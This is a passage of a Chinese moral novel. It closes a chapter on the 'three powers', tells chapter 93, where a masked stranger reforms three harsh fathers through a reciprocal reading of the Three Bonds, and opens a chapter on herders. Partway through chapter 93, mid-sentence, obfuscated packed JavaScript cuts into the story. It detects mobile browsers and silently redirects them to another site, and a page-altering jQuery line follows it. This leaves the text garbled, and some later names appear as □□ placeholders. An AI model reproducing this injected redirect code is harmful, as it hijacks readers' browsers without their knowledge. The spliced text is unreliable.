陆明远、秦四海也掏出竹牌，三块竹牌，在月光下泛着温润的光。 “戴得好。”那人点头，“敬天敬地敬人，在心不在形。” “先生，”陆明远问，“您这十年，去了哪里？” “走了些地方，见了些人。”那人说，“有怨天怨地的茶商，有偷光争光的灯匠，有占道算账的店主。看得多了，就想，若是他们都明白三才三光，会不会就不同了？” 三人沉默。 “三才者，天地人。三光者，日月星。”那人缓缓念，“天在上，人要敬；地在下，人要惜；人在中，人要爱。日光照，人要行得正；月光照，人要坐得端；星光引，人要走得直。敬天惜地爱人，向日向月向星，这才是人活天地间的本分。” 他看向三个孩子——齐敬天在煮茶，陆向月在扎灯笼，秦结缘在迎客。煮得认真，扎得仔细，迎得热情。 “他们比你们强。”那人笑了，“煮茶知敬，扎灯知向，迎客知缘。这才对。” 三人点头，深以为然。 那人从怀里掏出三块小小的、用竹片刻的牌子，刻着“天恩、地德、人和”，送给三个孩子。 “这个，给你们的孩子。等他们长大了，教他们敬天、敬地、敬人。等他们做到了，我再来收。” 三个孩子恭恭敬敬接过。 “先生，”秦结缘大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看人敬天、敬地、敬人的人。” “那……您还会来看我们煮茶、扎灯、迎客么？” “会。”那人站起身，“等你们的孩子的孩子，也这样在月光下煮茶、扎灯、迎客的时候，我还会来。” 他走了，沿着三岔口，慢慢地走。月光洒在三条河上，波光粼粼。他的背影在月光里，渐渐远了，融进夜色里。 三人送他到桥头，看着他消失。齐天福忽然说：“你们说，先生教了多少人？” 陆明远说：“不知道。但我知道，他教的人，都懂了‘三才三光’。” 秦四海说：“我也懂了。生意不是算计，是结缘。缘结得好，生意自然好。” 他们回到桌边，孩子们还在那里。齐敬天在教陆向月煮茶，陆向月在教秦结缘扎灯笼，秦结缘在教齐敬天迎客。月光照在他们身上，明晃晃的。 尾声三才谣 很多年后，三岔口改名叫“三才口”。桥头的石碑上，刻着十二个字： 三才者，天地人。三光者，日月星。 常有外乡人问：“这字谁刻的？” 口里的老人会说：“是三家明白人刻的。他们啊，从前只会怨天怨地怨人，后来懂了敬天敬地敬人，生意越做越旺，人心越来越和。” “怎么敬？” “齐家煮茶用清水，敬天；陆家扎灯用直竹，敬地；秦家迎客用笑脸，敬人。这就是敬天敬地敬人。” 天贶节时，口里的孩子都会唱一首童谣： 三岔口，三家人， 怨天怨地怨不停。 齐家怨水又怨客， 陆家偷光又争光。 秦家占道又算账， 三家争吵无宁日。 白衣先生来点化， 三才者，天地人。 三光者，日月星， 三家敬天又敬人。 有个游方的道士路过，听了这童谣，去问茶舍的齐掌柜——当年的齐明理，如今也蓄了须。 “掌柜的，这童谣里的白衣人，可是位得道高人？” 齐明理正在教孙子煮茶，闻言停下手，望着窗外的三岔口。 “是位教人敬天、敬地、敬人的先生。”他说。 “敬天敬地……不是我们道士的事么？” “错了。”齐明理说，“敬天敬地敬人，是每个人的本分。卖茶的，煮茶要敬天；扎灯的，扎灯要敬地；开店的，迎客要敬人。这才是真修行。” 道士似懂非懂。临走时，齐明理送了他一包茶叶，说：“路上喝。记着，这茶里有天恩，有地德，有人和。” 道士道了谢，揣着茶叶走了。月光洒在三岔口上，三条河泛着银光。他回头，看见齐明理站在茶舍门口，看着孙子和陆家、秦家的孩子在一起，一个煮茶，一个扎灯笼，一个迎客。月光照在他们身上，像镀了一层银。 也许那位先生，正在某个地方，看人敬天、敬地、敬人吧。道士想。 他闻了闻茶叶，清香扑鼻。这天、地、人的味道，原来就在一盏茶里。 本章诫世 一、 三才三光训 - 三才者，天地人 - 三光者，日月星 - 破解法：为商者，自问“可曾敬天？可曾敬地？可曾敬人？”；为民者，自问“可曾向日？可曾向月？可曾向星？” 二、 三家三怨 - 齐家怨在“三怨”——怨天、怨地、怨人 - 陆家怨在“三暗”——偷光、争光、晃光 - 秦家怨在“三算”——算道、算客、算账 - 惕世：多少商家怨天尤人？多少匠人暗里争利？多少店家算计无度？皆忘敬也 三、 敬本大道 - 深层隐喻：人居天地间，当知敬畏。敬天则天佑，敬地则地载，敬人则人和。三光在天，当知向明。向日则行正，向月则心慈，向星则路直 - 终极指向：立身处世，在明敬畏。敬天敬地敬人，则天地人皆助；向日向月向星，则日月星皆明。不敬不向，虽在光天化日，实处黑暗之中 三才偈： 三岔口前三家人，怨天怨地怨不停。 齐家怨水又怨客，陆家偷光又争光。 秦家占道又算账，三家争吵无宁日。 白衣现身来点化，三才者兮天地人。 三光者兮日月星，三家敬天又敬人。 后世叹： 三才者，天地人，三光者，日月星。 齐家怨天不敬天，陆家暗争不向光。 秦家算尽不敬人，三家皆忘敬本心。 白衣点破敬本道，十年敬天又敬人。 正是： 津门三岔三家人，怨天尤人各执迷。 齐家三怨忘敬天，陆家三暗不向光。 秦家三算不敬人，三家皆失本分心。 白衣点化敬本道，三才三光十年明。 敬天敬地更敬人，向日向月又向星。 93.三纲谳 楔子·三家失序 江南有座临江镇，镇中有条梧桐街，街上有三家铺子呈“品”字而立：东街是“周记木匠铺”，西街是“郑记裁缝铺”，中街是“王家米铺”。 周木匠周守诚，四十有六，做木工三代。他有一句挂在嘴边的话：“规矩规矩，无规无矩，不成方圆。”可这“规矩”，他只对学徒说。在家对妻子厉声厉色，对儿子非打即骂，对儿媳更是横眉冷对。他说：“我是家主，我说的话就是规矩！” 郑裁缝郑理顺，四十有四，裁衣三代。他也有一句口头禅：“理顺理顺，不理不顺，寸步难行。”可这“理顺”，他只对顾主说。在家对妻子冷言冷语，对女儿呼来喝去，对女婿挑三拣四。他说：“我是当家，我定的就是理！” 王米铺王和顺，四十有八，卖米三代。他更有一句生意经：“和顺和顺，不和难顺，家业难兴。”可这“和顺”，他只对伙计说。在家对妻子不闻不问，对儿子放任自流，对儿媳嫌东嫌西。他说：“我是家主，我让家和就和，不让和就不能和！” 这三家，是梧桐街最“讲规矩”的人家。可三年下来，规矩越讲越乱，家宅不宁。周家妻儿不敢高声语，郑家女儿整日以泪洗面，王家婆媳三日一小吵，五日一大闹。街坊邻居看在眼里，摇头叹气。 这是嘉平十二年的春天，梧桐街柳絮纷飞，三家铺子的招牌在风中摇晃，可三家的门里，却无半分春意。 一、 周记木匠铺的“规矩” 这日清晨，周守诚正在铺子里做活。铺子里堆满木料，刨花满地。周守诚手持刨子，推得木花飞卷，嘴里训斥着儿子周有矩：“手要稳！眼要准！心要定！你这手抖什么抖？没规矩！” 周有矩，十八岁，低头刨木，手背上满是刨子刮出的血痕。 儿媳赵氏端茶进来，手一抖，茶泼了些在桌上。周守诚立时瞪眼：“毛手毛脚！没规矩的东西！还不擦干净！” 赵氏眼圈一红，低头擦拭。 这时，铺子里进来一人。来人戴着一顶竹编斗笠，斗笠边缘用麻线缝了又缝。身上是件洗得发白的灰布短褂，腰间用草绳系一柄木剑，剑身光滑，像是常年摩挲。脸上蒙着一方粗麻布，布色灰白，沾着晨露。 “师傅，做个小凳。”声音沉沉的。 周守诚抬眼一瞥，见是个外乡人，便道：“要什么样式？” “四方凳，一尺见方，一尺高。”那人比划着。 “三日后来取。” 那人却不走，看着周有矩刨木，忽然道：“小兄弟，你这刨子，歪了三分。” 周有矩一愣，停下手中活。 周守诚皱眉：“客官懂木工？” “略知一二。”那人走到工作台前，拿起刨子，手指轻轻一推，木花均匀飞出，“刨子要正，手要稳，心要平。心不平，手不稳，刨子就不正。” 周守诚脸色一变。 “三纲者，君臣义。父子亲，夫妇顺。”那人缓缓念出这十二个字，“师傅可知何意？” “自然知道！”周守诚挺胸，“君为臣纲，父为子纲，夫为妻纲！我在家，就是君，就是父，就是夫！” “错了。”那人摇头，“君为臣纲，是说君要明，臣要忠。父为子纲，是说父要慈，子要孝。夫为妻纲，是说夫要和，妻要顺。你这般对子打骂，对媳厉喝，是慈么？是和么？” 周守诚脸上涨红：“我、我管教家人，与你何干！” “管教是管教，打骂是打骂。”那人声音不高，却字字有力，“你看这木料，要成器，需斧劈、刨平、凿眼、榫合，哪一道工序，是打骂出来的？需耐心，需用心，需爱心。对木如此，对人更是如此。” 他转向周有矩：“小兄弟，你爹教你规矩，可教过你，规矩是让人成器的，不是让人畏缩的？” 周有矩低头不敢语。 “你看这凳子，”那人指着周守诚刚做好的一条长凳，“四条腿，一般齐，凳面平，才稳。一条腿短了，凳就晃。一条腿歪了，凳就倒。家里也一样。你是父，是夫，是家主，你就是这条凳。可你对子不慈，对妻不和，你这凳，能稳么？” 周守诚语塞。 赵氏在旁听了，眼泪簌簌落下。 “这位娘子，”那人转向赵氏，“你嫁入周家，是求顺。可你公爹这般待你，你可还顺得下去？” 赵氏只是哭。 那人从怀里掏出一本薄册子，封面上写着《齐家要略》。递给周有矩。 “这个给你。里边有齐家之道。比如：为父如何慈，为子如何孝，为夫如何和，为妻如何顺。” 周有矩接过，翻开一看，第一页就画着一户人家，父慈子孝，夫和妻顺。旁边小字写着：“父慈则子孝，夫和则妻顺。家齐而后业成。” 他看得痴了。 “师傅，”那人转向周守诚，“你说规矩规矩，可你这规矩，只束别人，不束自己。你这规矩，是歪的。家如木器，需正，需平，需稳。你这般打骂厉喝，这家，迟早要散。” 说罢，他从怀里掏出五十文钱，放在工作台上：“这是定金。三日后我来取凳。我要的凳，四条腿一般齐，凳面平，坐着稳。” 他走了，竹斗笠在晨光中泛着青白的光。 周守诚呆立良久，看着那五十文钱，又看看儿子手里的册子，忽然扔下刨子，蹲在地上，双手抱头。 赵氏轻轻走过去，递上一碗茶：“爹，喝茶。” 周守诚抬起头，看着儿媳红肿的眼，看着儿子手上的血痕，忽然抬手，狠狠抽了自己一耳光。 二、 郑记裁缝铺的“理顺” 郑理顺这日正在铺子里裁衣。铺子里挂满布料，桌上铺着绸缎。郑理顺手持剪刀，裁得布屑纷飞，嘴里训斥着女儿郑有仪：“眼要准！手要稳！心要静！你这手抖什么抖？不理顺！” 郑有仪，十七岁，低头缝衣，手指上满是针眼。 女婿李氏（入赘女婿）端水进来，脚步稍重了些。郑理顺立时皱眉：“笨手笨脚！没规矩的东西！水都端不稳！” 李氏低头不敢语。 这时，门帘一挑，进来那人。还是竹编斗笠，灰布短褂，腰间木剑。脸上蒙着麻布，只露出一双眼睛，明亮清澈。 “师傅，做件衣裳。”声音温和。 郑理顺抬眼，见是前日在周家木匠铺见过的那人，心里一动，面上堆笑：“客官要什么样式？” “直裰，青色，要合身。”那人展开双臂。 郑理顺量尺寸，手中软尺游走，口中念念有词：“肩宽一尺二，袖长二尺一，衣长三尺三……” 量毕，道：“三日后来取。” 那人却不走，看着郑有仪缝衣，忽然道：“姑娘，你这针脚，疏了三分。” 郑有仪一愣，停下手中针。 郑理顺皱眉：“客官懂裁缝？” “略知一二。”那人走到桌前，拿起针线，穿针引线，动作娴熟，“缝衣要密，针脚要匀，心要细。心不细，手不稳，针脚就不匀。” 郑理顺脸色微变。 “三纲者，君臣义。父子亲，夫妇顺。”那人缓缓念出，“师傅可知何意？” “自然知道！”郑理顺挺胸，“君为臣纲，父为子纲，夫为妻纲！我在家，就是君，就是父，就是夫！” “错了。”那人摇头，“君臣有义，父子有亲，夫妇有顺。你这般对女呼喝，对婿冷眼，是亲么？是顺么？” 郑理顺脸上发红：“我、我管教家人，与你何干！” “管教是管教，冷眼是冷眼。”那人声音平和，却字字清晰，“你看这布料，要成衣，需量体、裁剪、缝纫、熨烫，哪一道工序，是呼喝出来的？需细心，需耐心，需爱心。对布如此，对人更是如此。” 他转向郑有仪：“姑娘，你爹教你理顺，可教过你，理顺是让家和的，不是让家散的？” 郑有仪低头垂泪。 “你看这衣裳，”那人指着郑理顺刚做好的一件长衫，“领要正，袖要齐，身要挺，才合体。领歪了，衣就斜。袖短了，衣就不合。家里也一样。你是父，是家主，你就是这衣。可你对女不亲，对婿不顺，你这衣，能合体么？” 郑理顺语塞。 李氏在旁听了，眼眶也红了。 “这位郎君，”那人转向李氏，“你入赘郑家，是求安。可你岳父这般待你，你可还安得下去？” 李氏只是低头。 那人从怀里掏出一本薄册子，封面上写着《齐家要略》。递给郑有仪。 “这个给你。里边有齐家之道。比如：为父如何慈，为子如何孝，为夫如何和，为妻如何顺。” 郑有仪接过，翻开一看，第一页就画着一户人家，父慈女孝，翁婿和睦。旁边小字写着：“父慈则女孝，翁慈则婿顺。家和而后业兴。” 她看得痴了。 “师傅，”那人转向郑理顺，“你说理顺理顺，可你这理，只顺自己，不顾别人。你这理顺，是乱的。家如衣裳，需合，需体，需顺。你这般呼喝冷眼，这家，迟早要破。” 说罢，他从怀里掏出定金，放在桌上：“这是定金。三日后我来取衣。我要的衣，要合身，要舒服，要穿着自在。” 他走了，灰布短褂在阳光下一晃，消失在人流中。 郑理顺呆立良久，看着那定金，又看看女儿手里的册子，忽然扔下剪刀，坐在凳上，双手捂脸。 郑有仪轻轻走过去，递上一杯水：“爹，喝水。” 郑理顺抬起头，看着女儿含泪的眼，看着女婿低垂的头，忽然抬手，轻轻拍了拍女婿的肩。 三、 王家米铺的“和顺” 王和顺这日正在米铺柜台后算账。铺子里米袋堆积如山，算盘声噼啪作响。王和顺一手翻账本，一手拨算盘，嘴里训斥着儿子王有伦：“账要清！数要明！心要细！你这账记的什么？乱七八糟！” 王有伦，十九岁，低头记账，纸上墨迹斑斑。 儿媳孙氏端饭进来，碗筷稍重了些。王和顺立时瞪眼：“毛手毛脚！没规矩！饭都端不好！” 孙氏眼圈一红，低头摆饭。 这时，铺子里进来那人。还是竹编斗笠，灰布短褂，腰间木剑。脸上蒙着麻布，风尘仆仆。 “掌柜的，买米。”声音平平。 王和顺抬眼，见是这两日在周家、郑家见过的那人，心里咯噔一下，面上堆笑：“客官要多少？” “一斗，要新米。” “好嘞！”王和顺亲自量米，一升一升，倒进客人的米袋。 那人却不接，看着王有伦记账，忽然道：“小兄弟，你这账，错了三处。” 王有伦一愣，抬头。 王和顺皱眉：“客官懂算账？” “略知一二。”那人走到柜台前，指着账本，“这笔，多记一文。这笔，少记一文。这笔，记错了人。” 王和顺脸色一变，仔细看账，果然。 “三纲者，君臣义。父子亲，夫妇顺。”那人缓缓念出，“掌柜的可知何意？” “自然知道！”王和顺挺胸，“君为臣纲，父为子纲，夫为妻纲！我在家，就是君，就是父，就是夫！” “错了。”那人摇头，“君明则臣忠，父慈则子孝，夫和则妻顺。你这般对子训斥，对媳厉喝，是慈么？是和么？” 王和顺脸上发烫：“我、我管教家人，与你何干！” “管教是管教，厉喝是厉喝。”那人声音沉静，却字字有力，“你看这米账，要清楚，需细心，需耐心，需公心。一笔错，全盘乱。对账如此，对人更是如此。” 他转向王有伦：“小兄弟，你爹教你算账，可教过你，账要清楚，家要和顺。家不和，账再清，有何用？” 王有伦低头不语。 孙氏在旁听了，眼泪滴在衣襟上。 “这位娘子，”那人转向孙氏，“你嫁入王家，是求和。可你公爹这般待你，你可还和得下去？” 孙氏只是抹泪。 那人从怀里掏出一本薄册子，封面上写着《齐家要略》。递给王有伦。 “这个给你。里边有齐家之道。比如：为父如何慈，为子如何孝，为夫如何和，为妻如何顺。” 王有伦接过，翻开一看，第一页就画着一户人家，父慈子孝，翁媳和睦。旁边小字写着：“父慈则子孝，翁和则媳顺。家和而后业旺。” 他看得痴了。 “掌柜的，”那人转向王和顺，“你说和顺和顺，可你这和，只对外人，不对家人。你这和顺，是假的。家如米账，需清，需明，需和。你这般训斥厉喝，这家，迟早要乱。” 说罢，他从怀里掏出米钱，放在柜台上：“这是米钱。我要的米，要新，要净，要吃着香。” 他提起米袋，转身要走。走到门口，回头：“掌柜的，三日后我再来。你若想明白了君臣、父子、夫妇之道，给我留一斗真正的‘和顺米’。” 王和顺看着那人的背影消失在街角，又看看儿子手里的册子，忽然把账本一推，蹲在地上，双手抱头。 孙氏轻轻走过去，递上一碗饭：“爹，吃饭。” 王和顺抬起头，看着儿媳含泪的眼，看着儿子茫然的脸，忽然伸手，接过饭碗，声音发哑：“你……你也吃。” 四、 梧桐街的月 三月十五，月圆夜。梧桐街上家家户户挂起灯笼，周、郑、王三家，也都早早关了铺子。 周守诚在院子里摆了张桌子，桌上摆着三副碗筷。赵氏在厨房忙碌，周有矩在旁帮忙。这是三年来，周有矩第一次进厨房帮妻子。 郑理顺在堂屋摆了张八仙桌，桌上摆着四碟小菜。郑有仪在烫酒，李氏在摆筷。这是三年来，李氏第一次上桌吃饭。 王和顺在客厅摆了张圆桌，桌上摆着五碗米饭。王有伦在盛饭，孙氏在布菜。这是三年来，孙氏第一次与公爹同桌。 三人不约而同走出家门，在梧桐街上碰面。月光洒在青石板上，白晃晃的。 三人对视，都有些尴尬。 还是周守诚先开口：“郑掌柜，王掌柜，赏月呢？” 郑理顺、王和顺点点头：“赏月，赏月。” 三人站在街上，抬头看月。月如银盘，悬在中天。 “今天的月……真圆。”郑理顺说。 “是啊，真圆。”王和顺应和。 正说着，那人来了。还是竹编斗笠，灰布短褂，腰间木剑。只是今日没蒙麻布，脸上戴了个木面具，面具上刻着三个人像：君、父、夫。手里提着一壶酒，三个酒杯。 “三位掌柜，赏月呢？”他笑。 三人忙转身：“先生！” 那人坐下，自斟一杯酒，举杯邀月：“好月。” 三人也斟了酒，同饮。酒是普通的黄酒，温的，喝下去，心里暖。 “先生，”周守诚问，“那十二个字，到底什么意思？” “三纲者，君臣义。父子亲，夫妇顺。”那人缓缓念出，“君为臣纲，是说君要明，臣要忠。父为子纲，是说父要慈，子要孝。夫为妻纲，是说夫要和，妻要顺。这不是谁压谁，是谁对谁有义，谁对谁有亲，谁对谁有顺。” 三人肃然。 “君臣有义，父子有亲，夫妇有顺。义是责任，亲是慈爱，顺是和睦。”那人看着他们，“你们三家，一为木匠，一为裁缝，一为米商，本都是齐家立业的好人家。可你们呢？周掌柜对子打骂，对媳厉喝，是慈么？是和么？郑掌柜对女呼喝，对婿冷眼，是亲么？是顺么？王掌柜对子训斥，对媳厉喝，是和么？是顺么？” 三人低头。 “家如木器，需正，需平，需稳。家如衣裳，需合，需体，需顺。家如米账，需清，需明，需和。”那人声音温和，却字字入心，“你们对木料有耐心，对布料有细心，对米账有公心，为何对家人，就没有爱心？” 三人汗颜。 “今日你们三家，妻儿同桌，翁婿同席，这是好的开始。”那人点头，“开始了好。开始了，这家，才真有规矩，真有理顺，真有和顺。” 他从怀里掏出三块小小的、用桃木刻的牌子，一人给了一个。牌子上刻着六个字：君明、父慈、夫和。 “这个，给你们。挂在堂屋，记在心里。治家时看看，莫忘了君要明，父要慈，夫要和。” 三人接过，那牌子是桃木刻的，光滑温润，在月光下泛着暗红的光。 “先生，”郑有仪从门里探出头，大着胆子问，“您从哪里来？” “从来处来。” “要到哪里去？”王有伦也从门里探出头。 “到去处去。” “您是做什么的？”周有矩也出来了。 “我是个看家、看人、看心的人。”那人笑了，“看人怎么齐家，怎么待人，怎么修心。” 他起身，提起酒壶：“酒喝完了，我该走了。” “先生还会来么？”三人齐声问。 “等你们的家，真真正正父慈子孝、夫和妻顺的时候，我再来。”他说。 他走了，沿着梧桐街，慢慢地走。月光洒在青石板上，把他的影子拉得很长。三家的人站在门口，看着他的背影渐渐消失在月色中。 周守诚忽然转身，对赵氏说：“媳妇，这些年……委屈你了。” 赵氏的眼泪，一下子涌了出来。 郑理顺拍拍李氏的肩：“贤婿，坐，一起喝酒。” 李氏的眼眶，也红了。 王和顺对孙氏说：“儿媳，吃饭，多吃点。” 孙氏低下头，眼泪滴在饭碗里。 五、 十年后的桃木牌 嘉平二十二年，三月十五。梧桐街还是那条梧桐街，月还是那轮月，只是三家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138190|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门风，都变了。 周记木匠铺改名叫“守诚木作”，不光做木工，还收徒传艺。周有矩接了班，人称“有矩师傅”。他教徒弟，从不打骂，只说：“手要稳，眼要准，心要定。心不定，手就不稳。”他儿子周正心，十岁，每天在木作里玩木头，周有矩从不斥责，只说：“玩吧，玩出个样子来。” 郑记裁缝铺改名叫“理顺衣庄”，不光裁衣，还教人女红。郑有仪接了班，人称“有仪师傅”。她教徒弟，从不呼喝，只说：“眼要准，手要稳，心要静。心不静，手就不稳。”她女儿郑静心，十一岁，每天在衣庄里学绣花，郑有仪耐心指点，从不催促。 王家米铺改名叫“和顺米行”，不光卖米，还设了粥棚。王有伦接了班，人称“有伦掌柜”。他做生意，童叟无欺，还说：“米要新，秤要准，心要公。心不公，秤就不准。”他儿子王公心，十二岁，每天在米行里学算账，王有伦耐心教导，从不训斥。 今年三月十五，三家又在自家院子里摆桌子，赏月。三个孩子——周正心、郑静心、王公心，在街上玩耍。一个玩木头，一个绣花，一个算数。 周守诚、郑理顺、王和顺三个老人，坐在周家院子里，喝酒赏月。 “真快，十年了。”周守诚说。 “是啊，十年了。”郑理顺说。 “那先生，再没来过。”王和顺说。 正说着，街那头走来一人。还是竹编斗笠，灰布短褂，腰间木剑。只是斗笠更破，短褂更旧，木剑的剑柄磨得发亮。脸上依然戴着木面具，面具上的“君、父、夫”三字，在月光下清晰可见。 三人看见，忙起身：“先生！” 那人点头，声音依旧温和：“都老了。” “先生不老。”周有矩、郑有仪、王有伦闻声出来，齐声道。 那人笑了，在桌前坐下，自斟一杯酒，举杯邀月：“月还是那个月。” 众人也举杯。 周正心机灵，捧上一只自己刻的小木马：“先生，给您玩！” 郑静心捧上一块自己绣的手帕：“先生，给您用！” 王公心捧上一把自己做的算盘：“先生，给您算！” 那人一一接过，看木马，摸手帕，拨算盘，点头：“好，好。” 周守诚从怀里掏出那块桃木牌，已经用红绳系着，挂在胸前：“先生，您看，我一直戴着。” 郑理顺、王和顺也掏出桃木牌，三块木牌，在月光下泛着温润的光。 “戴得好。”那人点头，“君明父慈夫和，在心不在形。” “先生，”郑理顺问，“您这十年，去了哪里？” “走了些地方，见了些人家。”那人说，“有父不慈的，有子不孝的，有夫不和的，有妻不顺的。看得多了，就想，若是他们都明白三纲真义，会不会就不同了？” 众人沉默。 “三纲者，君臣义。父子亲，夫妇顺。”那人缓缓念，“这不是谁压谁，是谁对谁有义，谁对谁有亲，谁对谁有顺。君明，臣才忠；父慈，子才孝；夫和，妻才顺。这是相互的，不是单方面的。” 他看向三个孩子——周正心在玩木头，郑静心在绣花，王公心在算数。玩得开心，绣得认真，算得仔细。 “他们比你们强。”那人笑了，“玩得自在，绣得从容，算得清楚。这才对。” 众人点头，深以为然。 那人从怀里掏出三块小小的、用桃木刻的牌子，刻着“明、慈、和”，送给三个孩子。 “这个，给你们的孩子。等他们长大了，教他们君要明，父要慈，夫要和。等他们做到了，我再来收。” 三个孩子恭恭敬敬接过。 “先生，”王公心大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看人家和顺的人。” “那……您还会来看我们玩木头、绣花、算数么？” “会。”那人站起身，“等你们的孩子的孩子，也这样在月光下玩木头、绣花、算数的时候，我还会来。” 他走了，沿着梧桐街，慢慢地走。月光洒在青石板上，泛着银白的光。他的背影在月光里，渐渐远了，融进夜色里。 众人送到街口，看着他消失。周守诚忽然说：“你们说，先生教了多少人家？” 郑理顺说：“不知道。但我知道，他教的人家，都懂了‘三纲真义’。” 王和顺说：“我也懂了。家不是讲规矩的地方，是讲爱的地方。有爱，才有规矩。” 他们回到院子，孩子们还在那里。周正心在教郑静心刻木头，郑静心在教王公心绣花，王公心在教周正心算数。月光照在他们身上，明晃晃的。 尾声三纲谣 很多年后，梧桐街改名叫“三纲街”。街口的牌坊上，刻着十二个字： 三纲者，君臣义。父子亲，夫妇顺。 常有外乡人问：“这字谁刻的？” 街里的老人会说：“是三家明白人刻的。他们啊，从前只知压人，后来懂了爱人，家宅安宁，生意兴旺。” “怎么爱人？” “周家父慈子孝，郑家翁婿和睦，王家夫和妻顺。这就是爱人。” 三月十五时，街上的孩子都会唱一首童谣： 梧桐街，三家人， 父严夫厉家不宁。 周家打骂无宁日， 郑家冷眼无欢笑。 王家厉喝无和气， 三家争吵乱纷纷。 白衣先生来点化， 三纲者，君臣义。 父子亲，夫妇顺， 三家和睦家业兴。 有个游方的书生路过，听了这童谣，去问木作的周师傅——当年的周有矩，如今也蓄了须。 “师傅，这童谣里的白衣人，可是位理学先生？” 周有矩正在教孙子刻木头，闻言停下手，望着窗外的梧桐树。 “是位教人君明、父慈、夫和的先生。”他说。 “三纲……不是君为臣纲、父为子纲、夫为妻纲么？怎是这般解释？” “错了。”周有矩说，“君为臣纲，是说君要明，臣才忠。父为子纲，是说父要慈，子才孝。夫为妻纲，是说夫要和，妻才顺。这才是三纲真义。” 书生似懂非懂。临走时，周有矩送了他一只小木马，说：“路上玩。记着，家如木器，要正，要平，要稳。正了，平了，稳了，家就和了。” 书生道了谢，揣着小木马走了。月光洒在梧桐街上，树影婆娑。他回头，看见周有矩站在木作门口，看着孙子和郑家、王家的孩子在一起，一个刻木头，一个绣花，一个算数。月光照在他们身上，像镀了一层银。 也许那位先生，正在某个地方，看人家父慈子孝、夫和妻顺吧。书生想。 他摸了摸怀里的小木马，木马光滑温润。这家和的感觉，原来就在一木一马之间。 本章诫世 一、 三纲真义训 - 三纲者，君臣义 - 父子亲，夫妇顺 - 破解法：为家主者，自问“可曾明？可曾慈？可曾和？”；为家人者，自问“可曾忠？可曾孝？可曾顺？” 二、 三家三失 - 周家失在“严苛”——只知严，不知慈 - 郑家失在“冷眼”——只知理，不知亲 - 王家失在“厉喝”——只知威，不知和 - 惕世：多少家长以“纲常”为名，行苛责之实？多少夫妻以“名分”为据，失和睦之道？多少人家规矩森严，却无半分温情？皆失本也 三、 齐家大道 - 深层隐喻：家如木器，需正平稳；家如衣裳，需合体顺；家如米账，需清明和。正平稳在和，合体顺在爱，清明和在公 - 终极指向：齐家之本，在明、在慈、在和。君明则臣忠，父慈则子孝，夫和则妻顺。明非威，慈非纵，和非弱，乃相互之德，双向之义 三纲偈： 梧桐街前三家人，父严夫厉家不宁。 周家打骂无慈爱，郑家冷眼无亲情。 王家厉喝无和睦，三家皆失纲常义。 白衣现身来点化，三纲真义须分明。 君臣义兮父子亲，夫妇顺兮家道兴。 后世叹： 三纲者，君臣义，父子亲，夫妇顺。 周家严苛失慈爱，郑家冷眼失亲情。 王家厉喝失和睦，三家皆忘纲常本。 白衣点破齐家道，十年和睦家业兴。 正是： 临江镇上三家人，纲常错解各纷纭。 周家严父不知慈，郑家严翁不知亲。 王家严夫不知和，三家皆失伦常情。 白衣点化三纲义，君明父慈夫和顺。 十年齐家成佳话，梧桐街上传美名。 94.四时谳 楔子·三家失时 漠南草原有处水草丰美之地，唤作“四季甸”。甸上有三条河交汇，河边住着三部牧民：河东是“乌力罕”家，牧马为生；河西是“其木格”家，牧羊为生；河北是“□□”家，牧牛为生。 乌力罕四十有五，牧马三代。他有句话常挂嘴边：“春生夏长，秋收冬藏，这是天时。”可这“天时”，他只对马说。春日马驹出生，他嫌太早，说“不按规矩”；夏日水草丰美，他圈马不放，说“怕马跑瘦”；秋日草黄马肥，他却囤草不售，说“来年价更高”；冬日风雪交加，他仍赶马出牧，说“马不跑不壮”。 其木格四十有三，牧羊三代。她也有句话常念叨：“四季分明，各守其时，这是地利。”可这“地利”，她只对羊说。春日羔羊出生，她嫌太多，说“挤了草场”；夏日水草丰美，她却赶羊上山，说“山下草要留着”；秋日羊肥毛厚，她却不剪毛，说“等冬雪时更值钱”；冬日风雪封山，她反让羊群下山，说“山下暖和”。 □□四十有八，牧牛三代。他更有句口头禅：“四时有序，顺天应时，这是人和。”可这“人和”，他只对牛说。春日牛犊出生，他嫌太密，说“乱了规矩”；夏日水草丰美，他却圈牛不放，说“牛吃多了拉稀”；秋日牛壮乳足，他却不挤奶，说“等冬闲时做奶酪”；冬日风雪漫天，他仍赶牛饮水，说“牛不喝不行”。 这三家，是四季甸最“懂时令”的牧人。可三年下来，时令越守越乱，畜群凋零。乌力罕的马越养越瘦，其木格的羊越养越少，□□的牛越养越病。甸上其他牧人看在眼里，摇头叹气。 这是草原上的又一个春天，冰雪初融，三条河解冻，可三家的牧场，却无半分春意。 一、 乌力罕家的“天时” 这日清晨，乌力罕在马圈里忙活。马圈里关着三十多匹马，匹匹瘦骨嶙峋。乌力罕手持马鞭，清点马匹，嘴里训斥着儿子“布和”：“春羔要早，夏牧要饱，秋膘要足，冬料要备！你看看这些马，哪一匹像样？” 布和，十八岁，低头刷马，马背上满是鞭痕。 儿媳“萨仁”端来奶茶，手一抖，奶茶洒了些。乌力罕立时瞪眼：“毛手毛脚！没规矩！马都比你强！” 萨仁眼圈一红，低头擦拭。 这时，马圈外来了一人。来人戴着一顶用枯草和羊毛混编的斗笠，斗笠边缘缀着几根褪色的彩绳。身上是件洗得发白的羊皮袄，腰间用牛皮绳系一柄木剑，剑身磨得光滑。脸上蒙着一方粗毛毡，毡色灰黄，沾着草屑。 “主人，买匹马。”声音沉沉的，带着风沙的粗粝。 乌力罕抬眼一瞥，见是个外乡人，便道：“要什么马？” “能跑长途的，耐劳的。” “那匹青马，三十两。”乌力罕指向一匹瘦马。 那人走进马圈，仔细看马，忽然摇头：“这马，春乏未过，夏膘未上，秋力未蓄，冬寒未消。活不过这个春天。” 乌力罕脸色一沉：“你懂马？” 